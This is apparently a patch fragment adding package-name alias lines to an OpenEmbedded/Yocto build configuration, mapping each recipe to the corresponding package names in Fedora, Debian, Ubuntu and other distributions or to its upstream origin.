+DISTRO_PN_ALIAS:pn-docbook-sgml-dtd-3.1 = "Fedora=docbook-dtds Mandriva=docbook-dtd31-sgml"
+DISTRO_PN_ALIAS:pn-docbook-sgml-dtd-4.1 = "Fedora=docbook-dtds Mandriva=docbook-dtd41-sgml"
+DISTRO_PN_ALIAS:pn-docbook-sgml-dtd-4.5 = "Fedora=docbook-dtds Mandriva=docbook-dtd42-sgml"
+DISTRO_PN_ALIAS:pn-docbook-xml-dtd4 = "Ubuntu=docbook-xml Fedora=docbook-dtds"
+DISTRO_PN_ALIAS:pn-docbook-xml-dtd4-native = "Ubuntu=docbook-xml Fedora=docbook-dtds"
+DISTRO_PN_ALIAS:pn-docbook-xsl-stylesheets = "Fedora=docbook-xsl-stylesheets Opensuse=docbook-xsl-stylesheets"
+DISTRO_PN_ALIAS:pn-dropbear = "Debian=dropbear Ubuntu=dropbear"
+DISTRO_PN_ALIAS:pn-dtc = "Fedora=dtc Ubuntu=dtc"
+DISTRO_PN_ALIAS:pn-encodings = "Ubuntu=xfonts-encodings Mandriva=x11-font-encodings Debian=xfonts-encodings"
+DISTRO_PN_ALIAS:pn-font-alias = "Fedora=xorg-x11-fonts-base Mandriva=x11-font-alias Meego=xorg-x11-fonts"
+DISTRO_PN_ALIAS:pn-font-util = "Meego=xorg-x11-font-utils Fedora=xorg-x11-font-utils Ubuntu=xfonts-utils Mandriva=x11-font-util Debian=xfonts-utils"
+DISTRO_PN_ALIAS:pn-formfactor = "OE-Core"
+DISTRO_PN_ALIAS:pn-gccmakedep = "Mandriva=gccmakedep Ubuntu=xutils-dev"
+DISTRO_PN_ALIAS:pn-gcc-runtime = "Ubuntu=gcc Fedora=gcc"
+DISTRO_PN_ALIAS:pn-gcc-sanitizers = "Ubuntu=gcc Fedora=gcc"
+DISTRO_PN_ALIAS:pn-gcc-source = "Ubuntu=gcc Fedora=gcc"
+DISTRO_PN_ALIAS:pn-gconf-dbus = "Meego=GConf-dbus"
+DISTRO_PN_ALIAS:pn-gdk-pixbuf = "Debian=libgdk-pixbuf2.0 Fedora=gdk-pixbuf"
+DISTRO_PN_ALIAS:pn-gdk-pixbuf-csource = "Debian=libgdk-pixbuf2.0-0 Fedora=gdk-pixbuf2"
+DISTRO_PN_ALIAS:pn-gettext-minimal = "Debian=gettext Fedora=gettext"
+DISTRO_PN_ALIAS:pn-glib-2.0 = "Meego=glib2 Fedora=glib2 OpenSuSE=glib2 Ubuntu=glib2.0 Mandriva=glib2.0 Debian=glib2.0"
+DISTRO_PN_ALIAS:pn-glibc-locale = "OpenSuSE=glibc-locale Fedora=glibc-devel"
+DISTRO_PN_ALIAS:pn-glibc-mtrace = "Fedora=glibc-utils Ubuntu=libc-dev-bin"
+DISTRO_PN_ALIAS:pn-glibc-scripts = "Fedora=glibc Ubuntu=libc-bin"
+DISTRO_PN_ALIAS:pn-gnome-desktop-testing = "Debian=gnome-desktop-testing Fedora=gnome-desktop-testing"
+DISTRO_PN_ALIAS:pn-gnu-config = "OpenedHand"
+DISTRO_PN_ALIAS:pn-gptfdisk = "Fedora=gdisk Ubuntu=gdisk"
+DISTRO_PN_ALIAS:pn-grub-efi = "Debian=grub-efi Fedora=grub2-efi"
+DISTRO_PN_ALIAS:pn-gst-player = "Ubuntu=gst-player Fedora=gstreamer-player"
+DISTRO_PN_ALIAS:pn-gst-plugin-bluetooth = "Ubuntu=libgstreamer-plugins-base Fedora=gstreamer-plugins-base"
+DISTRO_PN_ALIAS:pn-gstreamer1.0 = "Debian=gstreamer1.0 Ubuntu=gstreamer1.0"
+DISTRO_PN_ALIAS:pn-gstreamer1.0-meta-base = "Meego=gstreamer Fedora=gstreamer OpenSuSE=gstreamer Ubuntu=gstreamer0.10"
+DISTRO_PN_ALIAS:pn-gstreamer1.0-plugins-bad = "Debian=gstreamer1.0-plugins-bad Ubuntu=gstreamer1.0-plugins-bad"
+DISTRO_PN_ALIAS:pn-gstreamer1.0-plugins-base = "Debian=gstreamer1.0-plugins-base Ubuntu=gstreamer1.0-plugins-base"
+DISTRO_PN_ALIAS:pn-gstreamer1.0-plugins-good = "Debian=gstreamer1.0-plugins-good Ubuntu=gstreamer1.0-plugins-bad"
+DISTRO_PN_ALIAS:pn-gstreamer1.0-rtsp-server = "Ubuntu=gstreamer0.10-rtsp Fedora=gstreamer-rtsp"
+DISTRO_PN_ALIAS:pn-gstreamer1.0-vaapi = "Fedora=gstreamer1-vaapi Debian=gstreamer-vaapi Clear=gstreamer-vaapi"
+DISTRO_PN_ALIAS:pn-gtk+ = "Meego=gtk2 Fedora=gtk2 OpenSuSE=gtk2 Ubuntu=gtk+2.0 Mandriva=gtk+2.0 Debian=gtk+2.0"
+DISTRO_PN_ALIAS:pn-gtk+3 = "Ubuntu=gtk+3.0 Debian=gtk+3.0 Fedora=gtk3"
+DISTRO_PN_ALIAS:pn-gtk-doc = "Fedora=gtk-doc Ubuntu=gtk-doc"
+DISTRO_PN_ALIAS:pn-gtk-engines = "Fedora=gtk2-engines OpenSuSE=gtk2-engines Ubuntu=gtk2-engines Mandriva=gtk-engines2 Debian=gtk2-engines"
+DISTRO_PN_ALIAS:pn-gtk-sato-engine = "OpenedHand"
+DISTRO_PN_ALIAS:pn-gtk-icon-utils-native = "OSPDT"
+DISTRO_PN_ALIAS:pn-systemd-boot = "Ubuntu=systemd-boot Fedora=systemd-boot"
+DISTRO_PN_ALIAS:pn-hello-mod = "OE-Core"
+DISTRO_PN_ALIAS:pn-hwlatdetect = "OSPDT"
+DISTRO_PN_ALIAS:pn-icecc-create-env = "OE-Core"
+DISTRO_PN_ALIAS:pn-init-ifupdown = "Debian=ifupdown Ubuntu=ifupdown"
+DISTRO_PN_ALIAS:pn-initramfs-boot = "OE-Core"
+DISTRO_PN_ALIAS:pn-initramfs-framework = "OE-Core"
+DISTRO_PN_ALIAS:pn-initramfs-live-boot = "OE-Core"
+DISTRO_PN_ALIAS:pn-initramfs-live-install = "OE-Core"
+DISTRO_PN_ALIAS:pn-initramfs-live-install-efi = "OE-Core"
+DISTRO_PN_ALIAS:pn-initramfs-live-install-efi-testfs = "OE-Core"
+DISTRO_PN_ALIAS:pn-initramfs-live-install-testfs = "OE-Core"
+DISTRO_PN_ALIAS:pn-initscripts = "Fedora=initscripts Mandriva=initscripts"
+DISTRO_PN_ALIAS:pn-iproute2 = "OSPDT"
+DISTRO_PN_ALIAS:pn-jpeg = "OpenSuSE=libjpeg Ubuntu=libjpeg62"
+DISTRO_PN_ALIAS:pn-kernel-devsrc = "Debian=linux-base Ubuntu=linux"
+DISTRO_PN_ALIAS:pn-kern-tools-native = "Windriver"
+DISTRO_PN_ALIAS:pn-keymaps = "OE-Core"
+DISTRO_PN_ALIAS:pn-kf = "OSPDT"
+DISTRO_PN_ALIAS:pn-lame = "Debian=lame Ubuntu=lame"
+DISTRO_PN_ALIAS:pn-ldconfig-native = "Ubuntu=libc-bin Fedora=glibc"
+DISTRO_PN_ALIAS:pn-liba52 = "Mandriva=a52dec Debian=a52dec"
+DISTRO_PN_ALIAS:pn-libacpi = "Ubuntu=libacpi Mandriva=libacpi"
+DISTRO_PN_ALIAS:pn-libatomics-ops = "Meego=libatomic-ops Debian=libatomic-ops Ubuntu=libatomic-ops OpenSuSE=libatomic-ops Mandriva=libatomic-ops"
+DISTRO_PN_ALIAS:pn-libcgroup = "Ubuntu=libcgroup1 Debian=libcgroup1"
+DISTRO_PN_ALIAS:pn-libcheck = "Ubuntu=check Fedora=check OpenSuSE=check"
+DISTRO_PN_ALIAS:pn-libclass-isa-perl = "OSPDT"
+DISTRO_PN_ALIAS:pn-libdumpvalue-perl = "OSPDT"
+DISTRO_PN_ALIAS:pn-libenv-perl = "OSPDT"
+DISTRO_PN_ALIAS:pn-liberation-fonts = "Ubuntu=fonts-liberation Fedora=liberation-fonts-ttf"
+DISTRO_PN_ALIAS:pn-libfakekey = "Meego1.0=libfakekey Debian=libfakekey"
+DISTRO_PN_ALIAS:pn-libfile-checktree-perl = "OSPDT"
+DISTRO_PN_ALIAS:pn-libfm-extra = "Opensuse=libfm-extra4 Ubuntu=libfm-extra4"
+DISTRO_PN_ALIAS:pn-libgcc = "Debian=libgcc4 Ubuntu=libgcc1 OpenSuSE=libgcc46"
+DISTRO_PN_ALIAS:pn-libgdbus = "Intel"
+DISTRO_PN_ALIAS:pn-libglade = "Meego=libglade2 Fedora=libglade2 OpenSuSE=libglade2 Ubuntu=libglade2 Mandriva=libglade2.0 Debian=libglade2"
+DISTRO_PN_ALIAS:pn-libglu = "Debian=libglu Ubuntu=libglu Opensuse=mesa-libglu"
+DISTRO_PN_ALIAS:pn-libgu = "OpenSuSE=glu OSPDT"
+DISTRO_PN_ALIAS:pn-libi18n-collate-perl = "OSPDT"
+DISTRO_PN_ALIAS:pn-libical = "Ubuntu=libical Fedora=libical"
+DISTRO_PN_ALIAS:pn-libiconv = "Fedora=mingw-libiconv Opensuse=cross-mingw-libiconv"
+DISTRO_PN_ALIAS:pn-libinput = "Ubuntu=libinput0 Fedora=libinput0"
+DISTRO_PN_ALIAS:pn-libjson = "Ubuntu=libjson0-dev Debian=libjson0-dev"
+DISTRO_PN_ALIAS:pn-libksba = "Fedora=libksba Debian=libksba8 Ubuntu=libksba"
+DISTRO_PN_ALIAS:pn-libmatchbox = "Ubuntu=libmatchbox Fedora=libmatchbox"
+DISTRO_PN_ALIAS:pn-libmpc = "Fedora=libmpc OpenSuse=libmpc2"
+DISTRO_PN_ALIAS:pn-libnewt = "Debian=libnewt0.52 Fedora=newt"
+DISTRO_PN_ALIAS:pn-libnewt-python = "Ubuntu=python-newt Fedora=newt-python"
+DISTRO_PN_ALIAS:pn-libnl = "Mandriva=libnl Fedora=libnl"
+DISTRO_PN_ALIAS:pn-libnss-mdns = "Meego=nss-mdns OpenSuSE=nss-mdns Ubuntu=nss-mdns Mandriva=nss_mdns Debian=nss-mdns"
+DISTRO_PN_ALIAS:pn-libomxil = "OSPDT upstream=http://omxil.sourceforge.net/"
+DISTRO_PN_ALIAS:pn-libowl = "Debian=owl OpenedHand"
+DISTRO_PN_ALIAS:pn-libpam = "Meego=pam Fedora=pam OpenSuSE=pam Ubuntu=pam Mandriva=pam Debian=pam"
+DISTRO_PN_ALIAS:pn-libpcre = "Mandriva=libpcre0 Fedora=pcre"
+DISTRO_PN_ALIAS:pn-libpcre2 = "Fedora=pcre2 Debian=pcre2 Clear=pcre2"
+DISTRO_PN_ALIAS:pn-libpng12 = "Debian=libpng12-0 Fedora=libpng"
+DISTRO_PN_ALIAS:pn-libpod-plainer-perl = "OSPDT"
+DISTRO_PN_ALIAS:pn-libsamplerate0 = "Meego=libsamplerate Fedora=libsamplerate OpenSuSE=libsamplerate Ubuntu=libsamplerate Mandriva=libsamplerate Debian=libsamplerate"
+DISTRO_PN_ALIAS:pn-libsdl2 = "Fedora=sdl2 Opensuse=libsdl2 Ubuntu=libsdl2 Debian=libsdl2"
+DISTRO_PN_ALIAS:pn-libsndfile1 = "Meego=libsndfile Fedora=libsndfile OpenSuSE=libsndfile Ubuntu=libsndfile Mandriva=libsndfile Debian=libsndfile"
+DISTRO_PN_ALIAS:pn-libsoup-2.4 = "Meego=libsoup Fedora=libsoup OpenSuSE=libsoup Ubuntu=libsoup2.4 Mandriva=libsoup Debian=libsoup2.4"
+DISTRO_PN_ALIAS:pn-libtelepathy = "Debian=libtelepathy2 Ubuntu=libtelepathy2"
+DISTRO_PN_ALIAS:pn-libtimedate-perl = "Debian=libtimedate-perl Ubuntu=libtimedate-perl"
+DISTRO_PN_ALIAS:pn-liburcu = "Fedora=userspace-rcu Ubuntu=liburcu0"
+DISTRO_PN_ALIAS:pn-libusb1 = "Debian=libusb-1.0-0 Fedora=libusb1"
+DISTRO_PN_ALIAS:pn-libx11 = "Debian=libx11-6 Fedora=libX11 Ubuntu=libx11-6 OpenSuSE=xorg-x11-libX11"
+DISTRO_PN_ALIAS:pn-libxcalibrate = "OSPDT upstream=http://cgit.freedesktop.org/xorg/lib/libXCalibrate/"
+DISTRO_PN_ALIAS:pn-libxfont2 = "Fedora=libXfont2 Clear=libXfont2"
+DISTRO_PN_ALIAS:pn-libxft = "Mandriva=libxft Debian=libxft2 Ubuntu=libxft2"
+DISTRO_PN_ALIAS:pn-libxi = "Ubuntu=libxi Fedora=libXi"
+DISTRO_PN_ALIAS:pn-libxkbcommon = "Fedora=libxkbcommon Debian=libxkbcommon"
+DISTRO_PN_ALIAS:pn-libxscrnsaver = "Fedora=libXScrnSaver Ubuntu=libxss1 Mandriva=libxscrnsaver"
+DISTRO_PN_ALIAS:pn-linux-dummy = "Intel"
+DISTRO_PN_ALIAS:pn-linux-firmware = "Fedora=linux-firmware Ubuntu=linux-firmware"
+DISTRO_PN_ALIAS:pn-linux-libc-headers = "Debian=linux-kernel-headers Ubuntu=linux-kernel-headers"
+DISTRO_PN_ALIAS:pn-linux-libc-headers-yocto = "Debian=linux-kernel-headers Ubuntu=linux-kernel-headers"
+DISTRO_PN_ALIAS:pn-linux-yocto = "Debian=linux-base Ubuntu=linux"
+DISTRO_PN_ALIAS:pn-linux-yocto-rt = "Debian=linux-base Ubuntu=linux"
+DISTRO_PN_ALIAS:pn-linux-yocto-tiny = "OSPDT"
+DISTRO_PN_ALIAS:pn-ltp = "Mandriva=ltp Ubuntu=ltp"
+DISTRO_PN_ALIAS:pn-lttng-modules = "OSPDT upstream=http://lttng.org/"
+DISTRO_PN_ALIAS:pn-lttng-tools = "OSPDT upstream=http://lttng.org/"
+DISTRO_PN_ALIAS:pn-lttng-ust = "OSPDT upstream=http://lttng.org/"
+DISTRO_PN_ALIAS:pn-lz4 = "Debian=lz4 Fedora=lz4"
+DISTRO_PN_ALIAS:pn-lzo = "Debian=liblzo Ubuntu=liblzo Fedora=lzp"
+DISTRO_PN_ALIAS:pn-mailx = "Debian=bsd-mailx Ubuntu=bsd-mailx"
+DISTRO_PN_ALIAS:pn-makedepend = "Mandriva=makedepend Ubuntu=xutils-dev"
+DISTRO_PN_ALIAS:pn-makedevs = "OE-Core"
+DISTRO_PN_ALIAS:pn-matchbox-config-gtk = "OpenedHand"
+DISTRO_PN_ALIAS:pn-matchbox-desktop = "Mandriva=matchbox-desktop Ubuntu=matchbox-desktop"
+DISTRO_PN_ALIAS:pn-matchbox-desktop-sato = "OpenedHand"
+DISTRO_PN_ALIAS:pn-matchbox-keyboard = "Debian=matchbox-keyboard Fedora=matchbox-keyboard"
+DISTRO_PN_ALIAS:pn-matchbox-panel-2 = "Debian=matchbox-panel Mandriva=matchbox-panel Ubuntu=matchbox-panel"
+DISTRO_PN_ALIAS:pn-matchbox-session = "OpenedHand"
+DISTRO_PN_ALIAS:pn-matchbox-session-sato = "OpenedHand"
+DISTRO_PN_ALIAS:pn-matchbox-terminal = "OpenedHand"
+DISTRO_PN_ALIAS:pn-matchbox-theme-sato = "OpenedHand"
+DISTRO_PN_ALIAS:pn-matchbox-themes-extra = "Ubuntu=matchbox-themes-extra Mandriva=matchbox-themes-extra"
+DISTRO_PN_ALIAS:pn-matchbox-themes-gtk = "OpenedHand"
+DISTRO_PN_ALIAS:pn-matchbox-wm = "OpenedHand"
+DISTRO_PN_ALIAS:pn-menu-cache = "OSPDT"
+DISTRO_PN_ALIAS:pn-mesa = "Fedora=mesa Ubuntu=libgl1-mesa-dri"
+DISTRO_PN_ALIAS:pn-mesa-gl = "Fedora=mesa Ubuntu=libgl1-mesa-dri"
+DISTRO_PN_ALIAS:pn-meta-environment-extsdk-qemux86 = "OE-Core"
+DISTRO_PN_ALIAS:pn-meta-environment-i586 = "OE-Core"
+DISTRO_PN_ALIAS:pn-meta-environment-qemux86 = "OE-Core"
+DISTRO_PN_ALIAS:pn-meta-environment-qemux86-64 = "OE-Core"
+DISTRO_PN_ALIAS:pn-meta-ide-support = "OE-Core"
+DISTRO_PN_ALIAS:pn-meta-toolchain = "OE-Core"
+DISTRO_PN_ALIAS:pn-mini-x-session = "OSPDT"
+DISTRO_PN_ALIAS:pn-mkelfimage = "Ubuntu=mkelfimage Fedora=mkelfimage"
+DISTRO_PN_ALIAS:pn-mkfontdir = "Mandriva=mkfontdir Ubuntu=xfonts-utils Fedora=xorg-x11-font-utils"
+DISTRO_PN_ALIAS:pn-mkfontscale = "Mandriva=mkfontscale Ubuntu=xfonts-utils Fedora=xorg-x11-font-utils"
+DISTRO_PN_ALIAS:pn-mmc-utils = "OE-Core"
+DISTRO_PN_ALIAS:pn-modutils-initscripts = "OE-Core"
+DISTRO_PN_ALIAS:pn-mtd-utils = "Debian=mtd-utils Ubuntu=mtd-utils"
+DISTRO_PN_ALIAS:pn-mx-1.0 = "Ubuntu=mx Debian=mx Fedora=mx"
+DISTRO_PN_ALIAS:pn-neard = "Intel"
+DISTRO_PN_ALIAS:pn-neon = "Fedora=neon Opensuse=neon"
+DISTRO_PN_ALIAS:pn-network-suspend-scripts = "OE-Core"
+DISTRO_PN_ALIAS:pn-nfs-export-root = "OpenedHand"
+DISTRO_PN_ALIAS:pn-npth = "OSPDT"
+DISTRO_PN_ALIAS:pn-nss-myhostname = "Meego=nss-mdns OpenSuSE=nss-mdns Ubuntu=nss-mdns Mandriva=nss_mdns Debian=nss-mdns"
+DISTRO_PN_ALIAS:pn-ofono = "Debian=ofono Ubuntu=ofono"
+DISTRO_PN_ALIAS:pn-oh-puzzles = "OpenedHand"
+DISTRO_PN_ALIAS:pn-opkg = "OSPDT upstream=http://svn.openmoko.org/trunk/src/tar"
+DISTRO_PN_ALIAS:pn-opkg-arch-config = "OE-Core"
+DISTRO_PN_ALIAS:pn-opkg-collateral = "OE-Core"
+DISTRO_PN_ALIAS:pn-opkg-keyrings = "OSPDT upstream=git://git.yoctoproject.org/opkg-utils"
+DISTRO_PN_ALIAS:pn-opkg-nogpg = "OSPDT upstream=git://git.yoctoproject.org/opkg-utils"
+DISTRO_PN_ALIAS:pn-opkg-utils = "OSPDT upstream=git://git.yoctoproject.org/opkg-utils"
+DISTRO_PN_ALIAS:pn-os-release = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-base = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-boot = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-buildessential = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-device-devel = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-eclipse-debug = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-full-cmdline = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-nfs = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-sdk = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-ssh-dropbear = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-ssh-openssh = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-standalone-sdk-target = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-tools = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-tools-debug = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-tools-profile = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-tools-testapps = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-x11 = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-x11-base = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-x11-mini = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-x11-sato = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-core-x11-xserver = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-cross-canadian-i586 = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-cross-canadian-qemux86 = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-cross-canadian-qemux86-64 = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-sdk-host = "OE-Core"
+DISTRO_PN_ALIAS:pn-packagegroup-self-hosted = "OE-Core"
+DISTRO_PN_ALIAS:pn-package-index = "OE-Core"
+DISTRO_PN_ALIAS:pn-patchelf = "Opensuse=patchelf Fedora=patchelf"
+DISTRO_PN_ALIAS:pn-perf = "OSPDT"
+DISTRO_PN_ALIAS:pn-piglit = "OE-Core"
+DISTRO_PN_ALIAS:pn-pkgconfig = "Ubuntu=pkg-config Fedora=pkgconfig"
+DISTRO_PN_ALIAS:pn-pointercal-xinput = "OE-Core"
+DISTRO_PN_ALIAS:pn-pong-clock = "OpenedHand"
+DISTRO_PN_ALIAS:pn-portmap = "Debian=rpcbind Fedora=rpcbind"
+DISTRO_PN_ALIAS:pn-powertop = "Meego=powertop Fedora=powertop Debian=powertop OpenSuSE=powertop Mandriva=powertop"
+DISTRO_PN_ALIAS:pn-ppp-dialin = "OE-Core"
+DISTRO_PN_ALIAS:pn-pseudo = "Windriver"
+DISTRO_PN_ALIAS:pn-psplash = "OpenedHand"
+DISTRO_PN_ALIAS:pn-ptest-runner = "OE-Core"
+DISTRO_PN_ALIAS:pn-pulseaudio-client-conf-sato = "OE-Core"
+DISTRO_PN_ALIAS:pn-puzzles = "Debian=sgt-puzzles Fedora=puzzles"
+DISTRO_PN_ALIAS:pn-python3 = "Fedora=python3 Debian=python3.2"
+DISTRO_PN_ALIAS:pn-python3-iniparse = "Fedora=python-iniparse Debian=python-iniparse"
+DISTRO_PN_ALIAS:pn-python3-pip = "OpenSuSE=python3-pip Debian=python3-pip"
+DISTRO_PN_ALIAS:pn-python3-pycurl = "Fedora=python-pycurl Debian=pycurl"
+DISTRO_PN_ALIAS:pn-python3-pygpgme = "Fedora=python-pygpgme Debian=pygpgme"
+DISTRO_PN_ALIAS:pn-python3-setuptools = "OpenSuSE=python3-setuptools Debian=python3-setuptools"
+DISTRO_PN_ALIAS:pn-python-dbus = "Ubuntu=python-dbus Debian=python-dbus Mandriva=python-dbus"
+DISTRO_PN_ALIAS:pn-python-git = "Debian=python-git Fedora=GitPython"
+DISTRO_PN_ALIAS:pn-python-mako = "Fedora=python-mako Opensuse=python-Mako"
+DISTRO_PN_ALIAS:pn-python-pycairo = "Meego=pycairo Fedora=pycairo Ubuntu=pycairo Debian=pycairo"
+DISTRO_PN_ALIAS:pn-python-pygobject = "Meego=pygobject2 Fedora=pygobject2 Ubuntu=pygobject Debian=pygobject"
+DISTRO_PN_ALIAS:pn-python-scons = "Fedora=scons OpenSuSE=scons Ubuntu=scons Mandriva=scons Debian=scons"
+DISTRO_PN_ALIAS:pn-python-setuptools = "Mandriva=python-setup OpenSuSE=python-setup-git"
+DISTRO_PN_ALIAS:pn-python-smartpm = "Debian=smart OpenSuSE=smart"
+DISTRO_PN_ALIAS:pn-qemu-config = "OpenedHand"
+DISTRO_PN_ALIAS:pn-qemugl = "OpenedHand"
+DISTRO_PN_ALIAS:pn-qemu-helper = "OpenedHand"
+DISTRO_PN_ALIAS:pn-qemuwrapper-cross = "OE-Core"
+DISTRO_PN_ALIAS:pn-readline = "Fedora=readline Debian=readline-common"
+DISTRO_PN_ALIAS:pn-remake = "Mandriva=remake Debian=remake"
+DISTRO_PN_ALIAS:pn-rgb = "Fedora=xorg-X11-server-utils Debian=x11-xserver-utils"
+DISTRO_PN_ALIAS:pn-rpmresolve = "OSPDT"
+DISTRO_PN_ALIAS:pn-rt-tests = "Debian=rt-tests Ubuntu=rt-tests"
+DISTRO_PN_ALIAS:pn-run-postinsts = "OE-Core"
+DISTRO_PN_ALIAS:pn-sato-icon-theme = "OpenedHand"
+DISTRO_PN_ALIAS:pn-sato-screenshot = "OpenedHand"
+DISTRO_PN_ALIAS:pn-sbc = "Fedora=sbc Debian=libsbc1"
+DISTRO_PN_ALIAS:pn-screenshot = "OpenedHand"
+DISTRO_PN_ALIAS:pn-settings-daemon = "OpenedHand"
+DISTRO_PN_ALIAS:pn-sgml-common = "OpenSuSE=sgml-common Fedora=sgml-common"
+DISTRO_PN_ALIAS:pn-sgmlspl = "Debian=sgmlspl Ubuntu=sgmlspl"
+DISTRO_PN_ALIAS:pn-shadow-securetty = "Ubuntu=shadow Fedora=shadow"
+DISTRO_PN_ALIAS:pn-shadow-sysroot = "Ubuntu=shadow Fedora=shadow"
+DISTRO_PN_ALIAS:pn-shutdown-desktop = "OpenedHand"
+DISTRO_PN_ALIAS:pn-speexdsp = "Ubuntu=libspeexdsp1 Fedora=speexdsp"
+DISTRO_PN_ALIAS:pn-stat = "Debian=coreutils Fedora=coreutils"
+DISTRO_PN_ALIAS:pn-stress = "Debian=stress Fedora=stress"
+DISTRO_PN_ALIAS:pn-sysklogd = "Debian=sysklogd Mandriva=sysklogd"
+DISTRO_PN_ALIAS:pn-sysprof = "Fedora=sysprof Debian=sysprof"
+DISTRO_PN_ALIAS:pn-systemd-compat-units = "Fedora=systemd Ubuntu=systemd"
+DISTRO_PN_ALIAS:pn-systemd-systemctl = "OE-Core"
+DISTRO_PN_ALIAS:pn-systemd-systemdctl = "Fedora=systemd Ubuntu=systemd"
+DISTRO_PN_ALIAS:pn-sysvinit-inittab = "OE-Core"
+DISTRO_PN_ALIAS:pn-tar-replacement = "Fedora=tar Ubuntu=tar"
+DISTRO_PN_ALIAS:pn-tcf-agent = "Windriver upstream=http://www.eclipse.org/dsdp/tm/"
+DISTRO_PN_ALIAS:pn-texinfo-dummy-native = "OE-Core"
+DISTRO_PN_ALIAS:pn-tiny-init = "OSPDT"
+DISTRO_PN_ALIAS:pn-tremor = "OSPDT upstream=http://www.xiph.org/vorbis/"
+DISTRO_PN_ALIAS:pn-ttf-bitstream-vera = "Debian=ttf-bitstream-vera Ubuntu=ttf-bitstream-vera"
+DISTRO_PN_ALIAS:pn-tzcode = "OSPDT"
+DISTRO_PN_ALIAS:pn-u-boot-fw-utils = "Ubuntu=u-boot-tools Debian=u-boot-tools"
+DISTRO_PN_ALIAS:pn-u-boot-tools = "Ubuntu=u-boot-tools Debian=uboot-tools"
+DISTRO_PN_ALIAS:pn-udev = "Mandriva=udev Fedora=udev"
+DISTRO_PN_ALIAS:pn-udev-extraconf = "OE-Core"
+DISTRO_PN_ALIAS:pn-unfs3 = "Debian=unfs3 Fedora=unfs3"
+DISTRO_PN_ALIAS:pn-unfs-server = "OE-Core"
+DISTRO_PN_ALIAS:pn-uninative-tarball = "OE-Core"
+DISTRO_PN_ALIAS:pn-update-alternatives-dpkg = "Opensuse=update-alternatives Mandriva=update-alternatives"
+DISTRO_PN_ALIAS:pn-update-rc.d = "OE-Core"
+DISTRO_PN_ALIAS:pn-usbinit = "OE-Core"
+DISTRO_PN_ALIAS:pn-util-macros = "Meego=xorg-x11-util-macros Fedora=xorg-x11-util-macros Mandriva=x11-util-macros"
+DISTRO_PN_ALIAS:pn-v86d = "Debian=v86d Ubuntu=v86d"
+DISTRO_PN_ALIAS:pn-waffle = "OE-Core"
+DISTRO_PN_ALIAS:pn-watchdog = "Debian=watchdog Ubuntu=watchdog Mandriva=watchdog"
+DISTRO_PN_ALIAS:pn-webkitgtk = "Fedora=webkitgtk Ubuntu=libwebkit"
+DISTRO_PN_ALIAS:pn-weston = "Fedora=weston OpenSuSE=weston"
+DISTRO_PN_ALIAS:pn-weston-init = "OE-Core"
+DISTRO_PN_ALIAS:pn-which = "Mandriva=which Fedora=which"
+DISTRO_PN_ALIAS:pn-wpa-supplicant = "Meego=wpa_supplicant Fedora=wpa_supplicant OpenSuSE=wpa_supplicant Ubuntu=wpasupplicant Mandriva=wpa_supplicant Debian=wpasupplicant"
+DISTRO_PN_ALIAS:pn-x11perf = "Fedora=xorg-x11-apps Ubuntu=x11-apps"
+DISTRO_PN_ALIAS:pn-xcb-util-image = "Debian=xcb-util Fedora=xcb-util"
+DISTRO_PN_ALIAS:pn-xcb-util-keysyms = "Debian=xcb-util Fedora=xcb-util"
+DISTRO_PN_ALIAS:pn-xcb-util-wm = "Debian=xcb-util Fedora=xcb-util"
+DISTRO_PN_ALIAS:pn-xcursor-transparent-theme = "OpenedHand"
+DISTRO_PN_ALIAS:pn-xdpyinfo = "Fedora=xorg-x11-utils Ubuntu=x11-utils"
+DISTRO_PN_ALIAS:pn-xev = "Fedora=xorg-x11-utils Ubuntu=x11-utils"
+DISTRO_PN_ALIAS:pn-xeyes = "Ubuntu=x11-apps Fedora=xorg-x11-apps"
+DISTRO_PN_ALIAS:pn-xf86-input-evdev = "Ubuntu=xserver-xorg-input-evdev Mandriva=x11-driver-input-evdev Debian=xserver-xorg-input-evdev Fedora=xorg-x11-drv-evdev Meego=xorg-x11-drv-evdev"
+DISTRO_PN_ALIAS:pn-xf86-input-keyboard = "Meego=xorg-x11-drv-keyboard Fedora=xorg-x11-drv-keyboard Mandriva=x11-driver-input-keyboard Debian=xserver-xorg-input-keyboard"
+DISTRO_PN_ALIAS:pn-xf86-input-mouse = "Ubuntu=xserver-xorg-input-mouse Mandriva=x11-driver-input-mouse Debian=xserver-xorg-input-mouse"
+DISTRO_PN_ALIAS:pn-xf86-input-synaptics = "Meego=xorg-x11-drv-synaptics Fedora=xorg-x11-drv-synaptics Ubuntu=xserver-xorg-input-synaptics Mandriva=x11-driver-input-synaptics Debian=xfree86-driver-synaptics"
+DISTRO_PN_ALIAS:pn-xf86-input-vmmouse = "Fedora=xorg-x11-drv-vmmouse Ubuntu=xserver-xorg-input-vmmouse Mandriva=x11-driver-input-vmmouse Debian=xserver-xorg-input-vmmouse"
+DISTRO_PN_ALIAS:pn-xf86-video-cirrus = "Opensuse=xf86-video-cirrus Debian=xserver-xorg-video-cirrus"
